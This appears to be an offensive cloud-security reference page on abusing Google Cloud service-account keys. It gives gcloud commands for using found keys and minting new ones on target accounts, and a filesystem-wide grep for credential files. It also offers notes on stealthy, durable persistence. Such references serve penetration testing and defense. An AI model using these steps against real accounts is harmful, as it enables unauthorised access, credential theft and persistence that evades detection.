A service-account JSON key is a long-lived, offline credential: whoever holds the file authenticates as that account from anywhere, with no token expiry. Keys leak into source, CI config, developer laptops, and storage buckets, and iam.serviceAccountKeys.create lets you mint a fresh one for any account you can reach, which is both an escalation and a durable backdoor.
Using a found key#
gcloud auth activate-service-account --key-file=key.json
gcloud auth print-access-token # now acting as the service account
Creating a key for a target account#
# needs iam.serviceAccountKeys.create on the target account
gcloud iam service-accounts keys create loot.json \
--iam-account=<target>@<project>.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=loot.json
Finding keys on a host#
grep -rl '"type": "service_account"' / 2>/dev/null
ls ~/.config/gcloud/ # legacy; ADC and key refs live here too
Exploitation notes#
- A created key is the quietest durable persistence on GCP: it survives password resets and token revocation, and key creation is a single audit event easily lost in noise.
- Keys do not carry scopes, so a key for a broadly-roled account is full access, unlike a scoped metadata token.
- Prefer impersonation over key creation when you only need short-term access and want to leave less behind.
Tools#
- gcloud (
iam service-accounts keys create,auth activate-service-account). - TruffleHog / gitleaks to find leaked keys in source and history.